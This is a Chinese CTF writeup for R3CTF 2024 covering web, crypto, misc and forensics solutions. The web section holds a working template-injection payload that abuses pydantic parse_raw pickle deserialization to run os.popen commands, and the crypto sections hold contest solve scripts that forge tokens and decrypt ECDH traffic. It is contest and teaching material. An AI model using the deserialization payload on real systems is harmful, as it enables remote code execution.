长亭百川云 - 文章详情

R3CTF 2024 writeup by Mini-Venom

ChaMd5安全团队

51

2024-07-13

招新小广告CTF组诚招re、crypto、pwn、misc、合约方向的师傅,长期招新IOT+Car+工控+样本分析多个组招人有意向的师傅请联系邮箱

admin@chamd5.org(带上简历和想加入的小组

Web:

NinjaClub

Template传进去的是个BaseModel,也就是说user继承了BaseModel的function。审计一下BaseModel,parse_raw这里就是个pickle反序列化

构造一下应该就能出了。这个题恶心的一点就是不出网,并且反序列化回来会校验user实体。那么直接构造一个dict,把回显写在name里即可。

s = 'whoami' popen = GLOBAL('os', 'popen') getattr = GLOBAL('__builtin__', 'getattr') c = popen(s) read = getattr(c, 'read') dict = GLOBAL('__builtin__', 'dict') res = dict() res['name'] = read() res['age'] = 30 return res

输出:

parse_raw这样构造一下就行,把allow_pickle打开即可。

{{user.parse_raw(b="",content_type='pickle',allow_pickle=True)}}

payload

{{user.parse_raw(b="S'cat /flag.txt'\np0\n0cos\npopen\np1\n0c__builtin__\ngetattr\np2\n0g1\n(g0\ntRp3\n0g2\n(g3\nS'read'\ntRp4\n0c__builtin__\ndict\np5\n0g5\n(tRp6\n0g6\nS'name'\ng4\n(tRsg6\nS'age'\nI30\nsg6\n.",content_type='pickle',allow_pickle=True)}}

Crypto:

r0system

from hashlib import md5 from Crypto.Cipher import AES from Crypto.Util.number import * import gmpy2 from pwn import * AliceUsername = b'AliceIsSomeBody' BobUsername   = b'BobCanBeAnyBody' context.log_level = 'DEBUG' sh = remote('ctf2024-entry.r3kapig.com',31781) sh.recvuntil(b'Now input your option: ') sh.sendline(b'3') sh.recvuntil(b'Username[HEX]: ') sh.sendline(b'try1'.hex().encode()) sh.recvuntil(b'Password[HEX]: ') sh.sendline(b'try2key'.hex().encode()) sh.recvuntil(b"Register successfully, try1 's token is ") try1token = int(sh.recvuntil(b'.\n')[:-2],16) # print(try1token) sh.recvuntil(b"Now input your option: ") sh.sendline(b'1') sh.recvuntil(b'Username[HEX]: ') sh.sendline(b'try1'.hex().encode()) sh.recvuntil(b'Password[HEX]: ') sh.sendline(b'try2key'.hex().encode()) sh.recvuntil(b'Login successfully!\n') sh.recvuntil(b'Hello try1,do you need any services? ') sh.sendline(b'1') sh.recvuntil(b'Username[HEX]: ') sh.sendline(BobUsername.hex().encode()) sh.recvuntil(b"New Password[HEX]: ") sh.sendline(b'Bob11'.hex().encode()) sh.recvuntil(b",do you need any services? ") sh.sendline(b'1') sh.recvuntil(b'Username[HEX]: ') sh.sendline(AliceUsername.hex().encode()) sh.recvuntil(b"New Password[HEX]: ") sh.sendline(b'Alice11'.hex().encode()) sh.recvuntil(b",do you need any services? ") sh.sendline(b'5') sh.recvuntil(b"Now input your option: ") sh.sendline(b'1') sh.recvuntil(b"Username[HEX]: ") sh.sendline(AliceUsername.hex().encode()) sh.recvuntil(b"Password[HEX]: ") sh.sendline(b'Alice11'.hex().encode()) sh.recvuntil(b",do you need any services? ") sh.sendline(b'3') sh.recvuntil(b",do you need any services? ") sh.sendline(b'4') sh.recv()

from Crypto.Util.number import * Alice_pub = '632d947f774d6f4c0f462233682bab1e2305976b35b89fef050aa7dfb516885b4d5c6e46c1c0c9427a5c82539aaa18a99cc4ba1adafbacdc860f0d88eedd2713' Bob_pub = '364d168180a928286d448bceb0b06ca186da0968469b5e4ffa88fcd91929e3345dcf724620318dc3f45b84c9849c43874cb02a53afea98db59b6c8a09070f0f3' c = 'e3a583dfd51a1278c4e49ddce9fcf606af78a2d02a0a804c6b8b2a3deae301a9df7ff8fdfa0b115378f771eec6f54dade6730ea6d3ab460973f2345aa8fc2ae53e1f47e9cfa9f32ab1e11e1863f65b40e5b01831c0c0ab092b9af9ebaaa3035f' Alice_pri = int('cd2a4b358441c00c43d966b28612c2233c649b6f648b35c97422f985e5c2dffa',16) print(len(Bob_pub)) def b2i(b):     return int.from_bytes(b,byteorder='big') def pad(msg):     return msg + bytes([i for i in range(16 - int(len(msg) % 16))]) class Curve:     def __init__(self):         # Nist p-256         self.p = 0xffffffff00000001000000000000000000000000ffffffffffffffffffffffff         self.a = 0xffffffff00000001000000000000000000000000fffffffffffffffffffffffc         self.b = 0x5ac635d8aa3a93e7b3ebbd55769886bc651d06b0cc53b0f63bce3c3e27d2604b         self.G = (0x6b17d1f2e12c4247f8bce6e563a440f277037d812deb33a0f4a13945d898c296,                   0x4fe342e2fe1a7f9b8ee7eb4a7c0f9e162bce33576b315ececbb6406837bf51f5)         self.n = 0xffffffff00000000ffffffffffffffffbce6faada7179e84f3b9cac2fc632551     def add(self,P, Q):         if (P == (0, 0)):             return Q         elif (Q == (0, 0)):             return P         else:             x1, y1 = P             x2, y2 = Q             if ((x1 == x2) & (y1 == -y2)):                 return ((0, 0))             else:                 if (P != Q):                     l = (y2 - y1) * pow(x2 - x1, -1, self.p)                 else:                     l = (3 * (x1**2) + self.a) * pow(2 * y1, -1, self.p)             x3 = ((l**2) - x1 - x2) % self.p             y3 = (l * (x1 - x3) - y1) % self.p             return x3, y3     def mul(self, n , P):         Q = P         R = (0, 0)         while (n > 0):             if (n % 2 == 1):                 R = self.add(R, Q)             Q = self.add(Q, Q)             n = n // 2         return R class ECDH:     def __init__(self):         self.curve = Curve()         self.private_key = Alice_pri         self.public_key  = self.curve.mul(self.private_key, self.curve.G)     def exchange_key(self,publickey):         return md5(str(self.curve.mul(self.private_key,publickey)).encode()).digest() def enc(msg,key):     aes = AES.new(key,AES.MODE_ECB)     return aes.decrypt(msg) pub = (int(Bob_pub[:64],16),int(Bob_pub[64:],16)) K = ECDH() key = K.exchange_key(pub) m = enc(long_to_bytes(int(c,16)),key) print(m)

r1system

直接注册Bob的账号,python交互不知道为啥会断开,手动交互吧

from Crypto.Util.number import * from hashlib import md5 from Crypto.Cipher import AES from Crypto.Util.number import * import gmpy2 Alice_pub = '4a215c357541eeb3e55bd2ec965a4d8482f737c875eb0b3cbaa8c7d3f242f43ed107e6be779aa9beca0e7a7730edacd258af9a42668f66689dc64f93b7c253ad' Bob_pub = '0dd29bca4ad78a4c3db149ad2a2eceab7915e7edcacabb904518256d7d16fa4ca6014a0adc7933444ccd43d0ef53135bd298c64bfa4ac45ee3ce26924fffd07b' c = 'ffec0914ffeacda46c41d64c5bcf80f8d70fa0d48fa3f2f0cdbad88524fc6f47bc31ebceae0a441f3d56d6be438f39897ffbb68308b60ce2f32e6d3186375b1d' Bob_pri = int('01a0ed4997b932229e13475a876758114ce1c737f22125fe053c802a74503a7f',16) # print(len(Bob_pub)) def b2i(b):     return int.from_bytes(b,byteorder='big') def pad(msg):     return msg + bytes([i for i in range(16 - int(len(msg) % 16))]) class Curve:     def __init__(self):         # Nist p-256         self.p = 0xffffffff00000001000000000000000000000000ffffffffffffffffffffffff         self.a = 0xffffffff00000001000000000000000000000000fffffffffffffffffffffffc         self.b = 0x5ac635d8aa3a93e7b3ebbd55769886bc651d06b0cc53b0f63bce3c3e27d2604b         self.G = (0x6b17d1f2e12c4247f8bce6e563a440f277037d812deb33a0f4a13945d898c296,                   0x4fe342e2fe1a7f9b8ee7eb4a7c0f9e162bce33576b315ececbb6406837bf51f5)         self.n = 0xffffffff00000000ffffffffffffffffbce6faada7179e84f3b9cac2fc632551     def add(self,P, Q):         if (P == (0, 0)):             return Q         elif (Q == (0, 0)):             return P         else:             x1, y1 = P             x2, y2 = Q             if ((x1 == x2) & (y1 == -y2)):                 return ((0, 0))             else:                 if (P != Q):                     l = (y2 - y1) * pow(x2 - x1, -1, self.p)                 else:                     l = (3 * (x1**2) + self.a) * pow(2 * y1, -1, self.p)             x3 = ((l**2) - x1 - x2) % self.p             y3 = (l * (x1 - x3) - y1) % self.p             return x3, y3     def mul(self, n , P):         Q = P         R = (0, 0)         while (n > 0):             if (n % 2 == 1):                 R = self.add(R, Q)             Q = self.add(Q, Q)             n = n // 2         return R class ECDH:     def __init__(self):         self.curve = Curve()         self.private_key = Bob_pri         self.public_key  = self.curve.mul(self.private_key, self.curve.G)     def exchange_key(self,publickey):         return md5(str(self.curve.mul(self.private_key,publickey)).encode()).digest() def enc(msg,key):     aes = AES.new(key,AES.MODE_ECB)     return aes.decrypt(msg) pub = (int(Alice_pub[:64],16),int(Alice_pub[64:],16)) K = ECDH() key = K.exchange_key(pub) m = enc(long_to_bytes(int(c,16)),key) print(m)

r2system

https://eprint.iacr.org/2023/305.pdf

伪造token,伪造成功

 # https://eprint.iacr.org/2023/305.pdf # https://7rocky.github.io/en/ctf/other/corctf/qcg-k/ from hashlib import md5 from Crypto.Cipher import AES from Crypto.Util.number import * import gmpy2 from pwn import * AliceUsername = b'AliceIsSomeBody' BobUsername   = b'BobCanBeAnyBody' MOD  = 0x10000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000283 context.log_level = 'DEBUG' while 1:     sh = remote('ctf2024-entry.r3kapig.com','31886')     token = []     def b2i(b):         return int.from_bytes(b,byteorder='big')     for i in range(10):         sh.recvuntil(b'Now input your option: ')         sh.sendline(b'3')         sh.recvuntil(b'Username[HEX]: ')         sh.sendline(f'try{i}'.encode().hex().encode())         sh.recvuntil(b'Password[HEX]: ')         sh.sendline(b'trykey'.hex().encode())         sh.recvuntil(f"Register successfully, try{i} 's token is ".encode())         token.append(int(sh.recvuntil(b".\n")[:-2],16))         # print(token)         # print(f'try{i}'.encode().hex())         # print(b'trykey'.hex())         # print('-'*60)     from functools import cache     from sage.all import GF, PolynomialRing     from Crypto.Util.number import *     def k_ij(i, j):         return x * (pow(token[i],-1,q) - pow(token[j],-1,q)) + (-u[i]) - (-u[j])     def dpoly(n, i, j):         if i == 0:             return k_ij(j + 1, j + 2) ** 2 - k_ij(j + 2, j + 3) * k_ij(j, j + 1)         left = dpoly(n, i - 1, j)         for m in range(1, i + 2):             left *= k_ij(j + m, j + i + 2)         right = dpoly(n, i - 1, j + 1)         for m in range(1, i + 2):             right *= k_ij(j, j + m)         return left - right     q = 179769313486231590772930519078902473361797697894230657273430081157732675805500963132708477322407536021120113879871393357658789768814416622492847430639474124377767893424865485276302219601246094119453082952085005768838150682342462881473913110540827237163350510684586298239947245938479716304835356329624224137859     Fq = GF(q)     x = PolynomialRing(Fq, 'x').gens()[0]     u = []     for i in range(10):         token[i] = Fq(token[i])         u.append(int(f'try{i}'.encode().hex(),16))     N = 10     pol = dpoly(N - 4, N - 4, 0)     secret = pol.roots()     print(len(secret))     if len(secret) == 2:         print('-'*60)         print(token)         print(secret[1][0])         print(pol.roots())         q = 179769313486231590772930519078902473361797697894230657273430081157732675805500963132708477322407536021120113879871393357658789768814416622492847430639474124377767893424865485276302219601246094119453082952085005768838150682342462881473913110540827237163350510684586298239947245938479716304835356329624224137859         # token = [106059497226230078458408573548321522716731725799788329078185586313815926198786283229056460822188793913821381666495251726267106621314658816426114026202874264301311981366174550459244596265305815754933877853234119479492566891678520638945193574839652838841897044204741673519677458754474366826547057897515026724848, 47779134463461938926784751047825979292269094946568692939404713492011230117629761155779851181457396929641936224158552994587078896758215173995601320993839406108967926874172990659955225199974449650174420457407282282200571423658580354611757483081890798193660712063358386112539821026744968444515622130726900239736, 6019943175433302947934690873635058162287681100248021727464564163519392818412390410331290937835893162877644138873871237079538825688146346220557440276548235811524529326955065109956245587384883118646717417832321909917952062203568707642969977550858219727897942030447721296260910991378960446932119401177088481101, 87366091011617621011994203682638757774549496014511565786019048885633795608534406810797304904842442962750474688522542125102222205045224867671241373679622534023429816640889029782226330278878222739729367046959641320415162583370782941515441049046525274560503163657767716097889995000902550291930655118630272187236, 162253270840664463417218196571085196871091797499865805208031509772425458817614063479197094963500577594095925971402551698239212052148910616858817156373954657472523576731428256448818335996409727698745257604493772170217937612767064335133206868791051299144418047833021240318645816550420294524729988468480435887497, 16316159479225612300545615409718990694205381146382791061875851500122541211303872430537288252492644632122096208526557818206957172949606411140810284034078506052569405921204754742275767216885404857318557969754723282586567318942107713278795011776474047765849328695928938150210465524196392099313042988854140728571, 110684449328943736291261911386113967696573864578481873880367217362009886560991405747198017836213552234301282996693430383750292263465467888387505858193619361586819843726572232285738123704133886101707221931680558660384074855076241699302349982605324147403540584525624326285095590160394006554279025380946081520300, 7356599452619556773251194532777561267773145160514835573833588213879013017196468709171138802612399590197923948339027347406993627143242196724078569150122270247338513256791925724480915374824804344499044323246127533120391390418146580877249943216801651260909727234265972977871490098310852917404374165851771600054, 79378643533773177910480239060210987694532674099080062811324829674731184600353273644681398671779081023781611203106498867926311834788227689646072834319606886671941281030178549230498622518109279323029421140996969495153113038798152281011121979052267716458401937806197678273055467808912219079291805483775278618402, 110179524962782493054573311837314282098980987859591882395423393533138851596355452556474077550143760118285004986723362769018067819061818008647687561164809569238857587591201709593890657073827773089305542908925988851353176471460589495509823945721749989059560328268409542559444192460370913632249416427930608028847, 35384376988896111495552489453762246315478997052680054073836682930332914874238114867688834674464731577039550267819156800221016033350889962187366758327534596906583466852055407646306410231870664867147693493193476597590756070907821288287575690452983279436282212713311407594154490312755517436369884174770742549861]         se = int(secret[1][0])         Fq = GF(q)         x = PolynomialRing(Fq, 'x').gens()[0]         u = []         for i in range(10):             token[i] = Fq(token[i])             u.append(int(f'try{i}'.encode().hex(), 16))         k = []         for i in range(10):             # print(i)             k.append((-u[i]) + se*pow(token[i],-1,q) % q)         a = matrix(Fq,8,8)         for i in range(8):             for j in range(8):                 a[i,j] = k[i]^(7-j) % q         inverse_matrix0 = a^(-1)         k_solve0 = vector(k[1:9])         result_matrix0 = inverse_matrix0 * k_solve0         AA = result_matrix0[::-1]         print(AA)         if AA[-2] == 0 and AA[-1] == 0:             continue         print(k[1],k[2])         sum = 0         for i in range(8):             sum += AA[i]*(k[1]^i) % q         print(sum)         s = 0         for i in range(8):             s += AA[i]*(k[-1]^i) % q         Bob_token = se*pow(s+bytes_to_long(BobUsername),-1,q)  % q         sh.recvuntil(b'Now input your option: ')         sh.sendline(b'1')         sh.recvuntil(b'Username[HEX]: ')         sh.sendline(f'try0'.encode().hex().encode())         sh.recvuntil(b'Password[HEX]: ')         sh.sendline(b'trykey'.hex().encode())         sh.recvuntil(b",do you need any services? ")         sh.sendline(b'5')         sh.recvuntil(b'Now input your option: ')         sh.sendline(b'2')         sh.recvuntil(b'Username[HEX]: ')         sh.sendline(BobUsername.hex().encode())         sh.recvuntil(b"Token[HEX]: ")         sh.sendline(hex(Bob_token)[2:].encode())         sh.recvuntil(b",do you need any services? ")         sh.sendline(b'4')         sh.recvuntil(b",do you need any services? ")         sh.sendline(b'3')         sh.recv()         break     sh.close() from Crypto.Util.number import * from hashlib import md5 from Crypto.Cipher import AES from Crypto.Util.number import * import gmpy2 Alice_pub = '2f964b3572232b1b6059c8994cb99287134e6545693320ff676d09d9b304686d8d8ac7e2ebefa2edcd5df186efdcd45ea755edab77593f64e25fdbf6e79d754b' Bob_pub = 'aa8b8272443ec7e941197729996a86a121d4f635e584858f0152de2bb983bf295a6ff58354cb89d23318b3490f3c76cd633686a00f6c82e9eb54fbe621bc44cf' c = 'f7eb15c02d440c835677e0d884ff559b93e1bb96a1821f1221545affaa6ba5eec39982110f1971b8d2e75a3b35ce585fb5f75ed360bd2eeb23a9dbaedfa27fc171b5ba3ac923ab6b835ac0be0e6c7b2c' Bob_pri = int('97947336c7e877ed359f4268074bf9cbd4788bcd5a160cbea1e95b5d2516d7dc',16) # print(len(Bob_pub)) def b2i(b):     return int.from_bytes(b,byteorder='big') def pad(msg):     return msg + bytes([i for i in range(16 - int(len(msg) % 16))]) class Curve:     def __init__(self):         # Nist p-256         self.p = 0xffffffff00000001000000000000000000000000ffffffffffffffffffffffff         self.a = 0xffffffff00000001000000000000000000000000fffffffffffffffffffffffc         self.b = 0x5ac635d8aa3a93e7b3ebbd55769886bc651d06b0cc53b0f63bce3c3e27d2604b         self.G = (0x6b17d1f2e12c4247f8bce6e563a440f277037d812deb33a0f4a13945d898c296,                   0x4fe342e2fe1a7f9b8ee7eb4a7c0f9e162bce33576b315ececbb6406837bf51f5)         self.n = 0xffffffff00000000ffffffffffffffffbce6faada7179e84f3b9cac2fc632551     def add(self,P, Q):         if (P == (0, 0)):             return Q         elif (Q == (0, 0)):             return P         else:             x1, y1 = P             x2, y2 = Q             if ((x1 == x2) & (y1 == -y2)):                 return ((0, 0))             else:                 if (P != Q):                     l = (y2 - y1) * pow(x2 - x1, -1, self.p)                 else:                     l = (3 * (x1**2) + self.a) * pow(2 * y1, -1, self.p)             x3 = ((l**2) - x1 - x2) % self.p             y3 = (l * (x1 - x3) - y1) % self.p             return x3, y3     def mul(self, n , P):         Q = P         R = (0, 0)         while (n > 0):             if (n % 2 == 1):                 R = self.add(R, Q)             Q = self.add(Q, Q)             n = n // 2         return R class ECDH:     def __init__(self):         self.curve = Curve()         self.private_key = Bob_pri         self.public_key  = self.curve.mul(self.private_key, self.curve.G)     def exchange_key(self,publickey):         return md5(str(self.curve.mul(self.private_key,publickey)).encode()).digest() def enc(msg,key):     aes = AES.new(key,AES.MODE_ECB)     return aes.decrypt(msg) pub = (int(Alice_pub[:64],16),int(Alice_pub[64:],16)) K = ECDH() key = K.exchange_key(pub) m = enc(long_to_bytes(int(c,16)),key) print(m)

Misc:

Transit

搜索到b站视频上的封面,和拍摄地高度相似,查找19号线沿线pov BV1ie411M7av这个视频32s就是拍摄地,逐帧播放在3:35处找到 R3CTF{hangzhou_zhixing_road_station}

hint:S1611 and S1613 may the number of signal light, not the trains. https://www.cnblogs.com/QQ2962269558/p/12743383.html

用上行(S)与下行(X)来定义列车的运行方向。可能是电力驱动的动车组

Blizzard CN Restarts

先解包,修改xdep.ini中对应的inmapfile和outmapfile:

向MPQMaster中导入解包后的.w3x文件,在war3map.wts中找到flag:

Plain Text r3ctf{Elune_be_with_you}

Thief

大于0.85肯定就是1:

from pwn import * p = remote('ctf2024-entry.r3kapig.com',31395) for i in range(500):     a = p.recvuntil(b'top_10_pred : [')     b = p.recvuntil(b']')     b = b.decode().replace('[','').replace(']','').split(',')     c = float(b[0])     if c >= 0.9:         p.sendlineafter(b'Is this picture in the training set?',b'1')     else:         p.sendlineafter(b'Is this picture in the training set?',b'0')     print(f'no.{i}={c},num={num}') flag = p.recvline() print(flag) p.close()

当然,范围可以做合理的改变

R3CTF{caIN_liKe_A1_4nd_rEC_8772b609d39f}

hideAndSeek

开挂秒了

非常好村民,使我的透视+追踪旋转

h1de@ndSe3k

MC在渲染区块的时候会有日志记录

查看日志就可以秒了

Forensics

TPA 02 - 📱

frame contains "password"

r3ctf{15555215558_l0v3_aNd_peace}

- END -

相关推荐
关注或联系我们
添加百川云公众号,移动管理云安全产品
咨询热线:
4000-327-707
百川公众号
百川公众号
百川云客服
百川云客服

Copyright ©2024 北京长亭科技有限公司
icon
京ICP备 2024055124号-2